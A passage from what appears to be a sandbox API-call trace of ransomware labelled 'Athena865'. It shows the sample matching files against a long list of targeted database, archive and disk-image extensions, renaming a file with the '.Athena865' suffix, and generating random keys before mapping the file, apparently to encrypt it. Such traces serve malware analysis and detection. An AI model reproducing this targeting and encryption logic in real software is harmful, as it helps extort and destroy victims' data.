(lpString=".ini") returned 4 [0052.393] lstrcmpiW (lpString1="DxZ89tQr5hB.lnk", lpString2=".ini") returned 1 [0052.393] lstrlenW (lpString=".sys") returned 4 [0052.393] lstrcmpiW (lpString1="DxZ89tQr5hB.lnk", lpString2=".sys") returned 1 [0052.393] lstrlenW (lpString="DxZ89tQr5hB.lnk") returned 15 [0052.393] lstrlenW (lpString="bak") returned 3 [0052.393] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.393] lstrlenW (lpString="ba_") returned 3 [0052.393] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.393] lstrlenW (lpString="dbb") returned 3 [0052.393] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.393] lstrlenW (lpString="vmdk") returned 4 [0052.393] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.393] lstrlenW (lpString="rar") returned 3 [0052.393] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.393] lstrlenW (lpString="zip") returned 3 [0052.393] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.393] lstrlenW (lpString="tgz") returned 3 [0052.393] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.393] lstrlenW (lpString="vbox") returned 4 [0052.393] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.393] lstrlenW (lpString="vdi") returned 3 [0052.393] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.393] lstrlenW (lpString="vhd") returned 3 [0052.393] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.393] lstrlenW (lpString="vhdx") returned 4 [0052.393] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.394] lstrlenW (lpString="avhd") returned 4 [0052.394] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.394] lstrlenW (lpString="db") returned 2 [0052.394] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.394] lstrlenW (lpString="db2") returned 3 [0052.394] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.394] lstrlenW (lpString="db3") returned 3 [0052.394] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.394] lstrlenW (lpString="dbf") returned 3 [0052.394] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.394] lstrlenW (lpString="mdf") returned 3 [0052.394] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.394] lstrlenW (lpString="mdb") returned 3 [0052.394] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.394] lstrlenW (lpString="sql") returned 3 [0052.394] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.394] lstrlenW (lpString="sqlite") returned 6 [0052.394] lstrcmpiW (lpString1="hB.lnk", lpString2="sqlite") returned -1 [0052.394] lstrlenW (lpString="sqlite3") returned 7 [0052.394] lstrcmpiW (lpString1="5hB.lnk", lpString2="sqlite3") returned -1 [0052.394] lstrlenW (lpString="sqlitedb") returned 8 [0052.394] lstrcmpiW (lpString1="r5hB.lnk", lpString2="sqlitedb") returned -1 [0052.394] lstrlenW (lpString="xml") returned 3 [0052.394] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.394] lstrlenW (lpString="$er") returned 3 [0052.394] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.394] lstrlenW (lpString="4dd") returned 3 [0052.394] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.394] lstrlenW (lpString="4dl") returned 3 [0052.394] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.394] lstrlenW (lpString="^^^") returned 3 [0052.394] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.394] lstrlenW (lpString="abs") returned 3 [0052.394] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.394] lstrlenW (lpString="abx") returned 3 [0052.394] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.395] lstrlenW (lpString="accdb") returned 5 [0052.395] lstrcmpiW (lpString1="B.lnk", lpString2="accdb") returned 1 [0052.395] lstrlenW (lpString="accdc") returned 5 [0052.395] lstrcmpiW (lpString1="B.lnk", lpString2="accdc") returned 1 [0052.395] lstrlenW (lpString="accde") returned 5 [0052.395] lstrcmpiW (lpString1="B.lnk", lpString2="accde") returned 1 [0052.395] lstrlenW (lpString="accdr") returned 5 [0052.395] lstrcmpiW (lpString1="B.lnk", lpString2="accdr") returned 1 [0052.395] lstrlenW (lpString="accdt") returned 5 [0052.395] lstrcmpiW (lpString1="B.lnk", lpString2="accdt") returned 1 [0052.395] lstrlenW (lpString="accdw") returned 5 [0052.395] lstrcmpiW (lpString1="B.lnk", lpString2="accdw") returned 1 [0052.395] lstrlenW (lpString="accft") returned 5 [0052.395] lstrcmpiW (lpString1="B.lnk", lpString2="accft") returned 1 [0052.395] lstrlenW (lpString="adb") returned 3 [0052.395] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.395] lstrlenW (lpString="adb") returned 3 [0052.395] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.395] lstrlenW (lpString="ade") returned 3 [0052.395] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.395] lstrlenW (lpString="adf") returned 3 [0052.395] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.395] lstrlenW (lpString="adn") returned 3 [0052.395] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.395] lstrlenW (lpString="adp") returned 3 [0052.395] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.395] lstrlenW (lpString="alf") returned 3 [0052.395] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.395] lstrlenW (lpString="ask") returned 3 [0052.395] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.395] lstrlenW (lpString="btr") returned 3 [0052.395] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.395] lstrlenW (lpString="cat") returned 3 [0052.395] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.395] lstrlenW (lpString="cdb") returned 3 [0052.395] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.396] lstrlenW (lpString="ckp") returned 3 [0052.396] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.396] lstrlenW (lpString="cma") returned 3 [0052.396] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.396] lstrlenW (lpString="cpd") returned 3 [0052.396] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.396] lstrlenW (lpString="dacpac") returned 6 [0052.396] lstrcmpiW (lpString1="hB.lnk", lpString2="dacpac") returned 1 [0052.396] lstrlenW (lpString="dad") returned 3 [0052.396] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.396] lstrlenW (lpString="dadiagrams") returned 10 [0052.396] lstrcmpiW (lpString1="tQr5hB.lnk", lpString2="dadiagrams") returned 1 [0052.396] lstrlenW (lpString="daschema") returned 8 [0052.396] lstrcmpiW (lpString1="r5hB.lnk", lpString2="daschema") returned 1 [0052.396] lstrlenW (lpString="db-journal") returned 10 [0052.396] lstrcmpiW (lpString1="tQr5hB.lnk", lpString2="db-journal") returned 1 [0052.396] lstrlenW (lpString="db-shm") returned 6 [0052.396] lstrcmpiW (lpString1="hB.lnk", lpString2="db-shm") returned 1 [0052.396] lstrlenW (lpString="db-wal") returned 6 [0052.396] lstrcmpiW (lpString1="hB.lnk", lpString2="db-wal") returned 1 [0052.396] lstrlenW (lpString="dbc") returned 3 [0052.396] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.396] lstrlenW (lpString="dbs") returned 3 [0052.396] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.396] lstrlenW (lpString="dbt") returned 3 [0052.396] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.396] lstrlenW (lpString="dbv") returned 3 [0052.396] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.396] lstrlenW (lpString="dbx") returned 3 [0052.396] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.396] lstrlenW (lpString="dcb") returned 3 [0052.396] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.396] lstrlenW (lpString="dct") returned 3 [0052.396] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0052.396] lstrlenW (lpString="dcx") returned 3 [0052.396] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0052.397] lstrlenW (lpString="ddl") returned 3 [0052.397] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0052.397] lstrlenW (lpString="dlis") returned 4 [0052.397] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0052.397] lstrlenW (lpString="dp1") returned 3 [0052.397] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0052.397] lstrlenW (lpString="dqy") returned 3 [0052.397] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0052.397] lstrlenW (lpString="dsk") returned 3 [0052.397] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0052.397] lstrlenW (lpString="dsn") returned 3 [0052.397] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0052.397] lstrlenW (lpString="dtsx") returned 4 [0052.397] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0052.397] lstrlenW (lpString="dxl") returned 3 [0052.397] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0052.397] lstrlenW (lpString="eco") returned 3 [0052.397] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0052.397] lstrlenW (lpString="ecx") returned 3 [0052.397] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0052.397] lstrlenW (lpString="edb") returned 3 [0052.397] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0052.397] lstrlenW (lpString="epim") returned 4 [0052.397] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0052.397] lstrlenW (lpString="fcd") returned 3 [0052.397] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0052.397] lstrlenW (lpString="fdb") returned 3 [0052.397] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0052.397] lstrlenW (lpString="fic") returned 3 [0052.397] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0052.397] lstrlenW (lpString="flexolibrary") returned 12 [0052.397] lstrcmpiW (lpString1="89tQr5hB.lnk", lpString2="flexolibrary") returned -1 [0052.397] lstrlenW (lpString="fm5") returned 3 [0052.397] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0052.397] lstrlenW (lpString="fmp") returned 3 [0052.398] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0052.398] lstrlenW (lpString="fmp12") returned 5 [0052.398] lstrcmpiW (lpString1="B.lnk", lpString2="fmp12") returned -1 [0052.398] lstrlenW (lpString="fmpsl") returned 5 [0052.398] lstrcmpiW (lpString1="B.lnk", lpString2="fmpsl") returned -1 [0052.398] lstrlenW (lpString="fol") returned 3 [0052.398] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0052.398] lstrlenW (lpString="fp3") returned 3 [0052.398] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0052.398] lstrlenW (lpString="fp4") returned 3 [0052.398] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0052.398] lstrlenW (lpString="fp5") returned 3 [0052.398] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0052.398] lstrlenW (lpString="fp7") returned 3 [0052.398] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0052.398] lstrlenW (lpString="fpt") returned 3 [0052.398] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0052.398] lstrlenW (lpString="frm") returned 3 [0052.398] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0052.398] lstrlenW (lpString="gdb") returned 3 [0052.398] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.398] lstrlenW (lpString="gdb") returned 3 [0052.398] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.398] lstrlenW (lpString="grdb") returned 4 [0052.398] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0052.398] lstrlenW (lpString="gwi") returned 3 [0052.398] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0052.398] lstrlenW (lpString="hdb") returned 3 [0052.398] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0052.398] lstrlenW (lpString="his") returned 3 [0052.398] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0052.398] lstrlenW (lpString="ib") returned 2 [0052.398] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0052.398] lstrlenW (lpString="idb") returned 3 [0052.399] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0052.399] lstrlenW (lpString="ihx") returned 3 [0052.399] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0052.399] lstrlenW (lpString="itdb") returned 4 [0052.399] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0052.399] lstrlenW (lpString="itw") returned 3 [0052.399] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0052.399] lstrlenW (lpString="jet") returned 3 [0052.399] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0052.399] lstrlenW (lpString="jtx") returned 3 [0052.399] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0052.399] lstrlenW (lpString="kdb") returned 3 [0052.399] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0052.399] lstrlenW (lpString="kexi") returned 4 [0052.399] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0052.399] lstrlenW (lpString="kexic") returned 5 [0052.399] lstrcmpiW (lpString1="B.lnk", lpString2="kexic") returned -1 [0052.399] lstrlenW (lpString="kexis") returned 5 [0052.399] lstrcmpiW (lpString1="B.lnk", lpString2="kexis") returned -1 [0052.399] lstrlenW (lpString="lgc") returned 3 [0052.399] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0052.399] lstrlenW (lpString="lwx") returned 3 [0052.399] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0052.399] lstrlenW (lpString="maf") returned 3 [0052.399] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0052.399] lstrlenW (lpString="maq") returned 3 [0052.399] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0052.399] lstrlenW (lpString="mar") returned 3 [0052.399] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0052.399] lstrlenW (lpString="marshal") returned 7 [0052.399] lstrcmpiW (lpString1="5hB.lnk", lpString2="marshal") returned -1 [0052.399] lstrlenW (lpString="mas") returned 3 [0052.399] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0052.399] lstrlenW (lpString="mav") returned 3 [0052.400] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0052.400] lstrlenW (lpString="maw") returned 3 [0052.400] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0052.400] lstrlenW (lpString="mdbhtml") returned 7 [0052.400] lstrcmpiW (lpString1="5hB.lnk", lpString2="mdbhtml") returned -1 [0052.400] lstrlenW (lpString="mdn") returned 3 [0052.400] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0052.400] lstrlenW (lpString="mdt") returned 3 [0052.400] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0052.400] lstrlenW (lpString="mfd") returned 3 [0052.400] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0052.400] lstrlenW (lpString="mpd") returned 3 [0052.400] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0052.400] lstrlenW (lpString="mrg") returned 3 [0052.400] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0052.400] lstrlenW (lpString="mud") returned 3 [0052.400] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0052.400] lstrlenW (lpString="mwb") returned 3 [0052.400] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0052.400] lstrlenW (lpString="myd") returned 3 [0052.400] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0052.400] lstrlenW (lpString="ndf") returned 3 [0052.400] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0052.400] lstrlenW (lpString="nnt") returned 3 [0052.400] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0052.400] lstrlenW (lpString="nrmlib") returned 6 [0052.400] lstrcmpiW (lpString1="hB.lnk", lpString2="nrmlib") returned -1 [0052.400] lstrlenW (lpString="ns2") returned 3 [0052.400] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0052.400] lstrlenW (lpString="ns3") returned 3 [0052.400] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0052.400] lstrlenW (lpString="ns4") returned 3 [0052.400] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0052.400] lstrlenW (lpString="nsf") returned 3 [0052.400] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0052.401] lstrlenW (lpString="nv") returned 2 [0052.401] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0052.401] lstrlenW (lpString="nv2") returned 3 [0052.401] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0052.401] lstrlenW (lpString="nwdb") returned 4 [0052.401] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0052.401] lstrlenW (lpString="nyf") returned 3 [0052.401] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0052.401] lstrlenW (lpString="odb") returned 3 [0052.401] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.401] lstrlenW (lpString="odb") returned 3 [0052.401] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.401] lstrlenW (lpString="oqy") returned 3 [0052.401] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0052.401] lstrlenW (lpString="ora") returned 3 [0052.401] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0052.401] lstrlenW (lpString="orx") returned 3 [0052.401] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0052.401] lstrlenW (lpString="owc") returned 3 [0052.401] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0052.401] lstrlenW (lpString="p96") returned 3 [0052.401] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0052.401] lstrlenW (lpString="p97") returned 3 [0052.401] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0052.401] lstrlenW (lpString="pan") returned 3 [0052.401] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0052.401] lstrlenW (lpString="pdb") returned 3 [0052.401] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0052.401] lstrlenW (lpString="pdm") returned 3 [0052.401] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0052.401] lstrlenW (lpString="pnz") returned 3 [0052.401] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0052.401] lstrlenW (lpString="qry") returned 3 [0052.402] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0052.402] lstrlenW (lpString="qvd") returned 3 [0052.402] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0052.402] lstrlenW (lpString="rbf") returned 3 [0052.402] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0052.402] lstrlenW (lpString="rctd") returned 4 [0052.402] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0052.402] lstrlenW (lpString="rod") returned 3 [0052.402] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0052.402] lstrlenW (lpString="rodx") returned 4 [0052.402] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0052.402] lstrlenW (lpString="rpd") returned 3 [0052.402] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0052.402] lstrlenW (lpString="rsd") returned 3 [0052.402] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0052.402] lstrlenW (lpString="sas7bdat") returned 8 [0052.402] lstrcmpiW (lpString1="r5hB.lnk", lpString2="sas7bdat") returned -1 [0052.402] lstrlenW (lpString="sbf") returned 3 [0052.402] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0052.402] lstrlenW (lpString="scx") returned 3 [0052.402] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0052.402] lstrlenW (lpString="sdb") returned 3 [0052.402] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0052.402] lstrlenW (lpString="sdc") returned 3 [0052.402] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0052.402] lstrlenW (lpString="sdf") returned 3 [0052.402] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0052.402] lstrlenW (lpString="sis") returned 3 [0052.402] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0052.402] lstrlenW (lpString="spq") returned 3 [0052.402] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0052.402] lstrlenW (lpString="te") returned 2 [0052.402] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0052.403] lstrlenW (lpString="teacher") returned 7 [0052.403] lstrcmpiW (lpString1="5hB.lnk", lpString2="teacher") returned -1 [0052.403] lstrlenW (lpString="tmd") returned 3 [0052.403] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0052.403] lstrlenW (lpString="tps") returned 3 [0052.403] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0052.403] lstrlenW (lpString="trc") returned 3 [0052.403] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.403] lstrlenW (lpString="trc") returned 3 [0052.403] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.403] lstrlenW (lpString="trm") returned 3 [0052.403] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0052.403] lstrlenW (lpString="udb") returned 3 [0052.403] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0052.403] lstrlenW (lpString="udl") returned 3 [0052.403] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0052.403] lstrlenW (lpString="usr") returned 3 [0052.403] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0052.403] lstrlenW (lpString="v12") returned 3 [0052.403] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0052.403] lstrlenW (lpString="vis") returned 3 [0052.403] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0052.403] lstrlenW (lpString="vpd") returned 3 [0052.403] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0052.403] lstrlenW (lpString="vvv") returned 3 [0052.403] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0052.403] lstrlenW (lpString="wdb") returned 3 [0052.403] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0052.403] lstrlenW (lpString="wmdb") returned 4 [0052.403] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0052.403] lstrlenW (lpString="wrk") returned 3 [0052.403] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0052.403] lstrlenW (lpString="xdb") returned 3 [0052.404] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0052.404] lstrlenW (lpString="xld") returned 3 [0052.404] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0052.404] lstrlenW (lpString="xmlff") returned 5 [0052.404] lstrcmpiW (lpString1="B.lnk", lpString2="xmlff") returned -1 [0052.404] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\DxZ89tQr5hB.lnk.Athena865") returned 79 [0052.404] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\DxZ89tQr5hB.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\dxz89tqr5hb.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\DxZ89tQr5hB.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\dxz89tqr5hb.lnk.athena865"), dwFlags=0x1) returned 1 [0052.405] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\DxZ89tQr5hB.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\dxz89tqr5hb.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.405] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2594) returned 1 [0052.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.405] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.406] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.406] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.406] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd30, lpName=0x0) returned 0x154 [0052.406] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd30) returned 0x100000 [0052.406] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.407] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.407] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.408] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.408] CloseHandle (hObject=0x154) returned 1 [0052.408] CloseHandle (hObject=0x17c) returned 1 [0052.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.409] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae99f280, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb1073960, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb1099ac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xde1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e6cYm8Uwe6cjU7.lnk", cAlternateFileName="E6CYM8~1.LNK")) returned 1 [0052.409] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.409] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.409] lstrcmpiW (lpString1="e6cYm8Uwe6cjU7.lnk", lpString2=".") 